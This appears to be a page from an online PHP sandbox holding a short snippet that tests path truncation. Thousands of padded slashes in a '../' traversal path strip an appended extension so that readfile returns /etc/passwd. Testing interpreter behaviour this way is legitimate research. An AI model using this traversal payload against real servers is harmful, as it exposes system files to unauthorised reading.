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@ 2013-12-22T12:37:10Z

<?php
for ($i = 4060; $i < 4090; ++$i)
	$path = '../../../../../etc/' . str_repeat('/', $i) . 'passwd'; echo strlen($path . '.wtf').PHP_EOL; readfile($path . '.wtf');

Output
Performance
VLD
References
Branches

str_repeat: documentation ( source)
readfile: documentation ( source)

preferences:dark modelive preview

32.36 ms | 402 KiB | 5 Q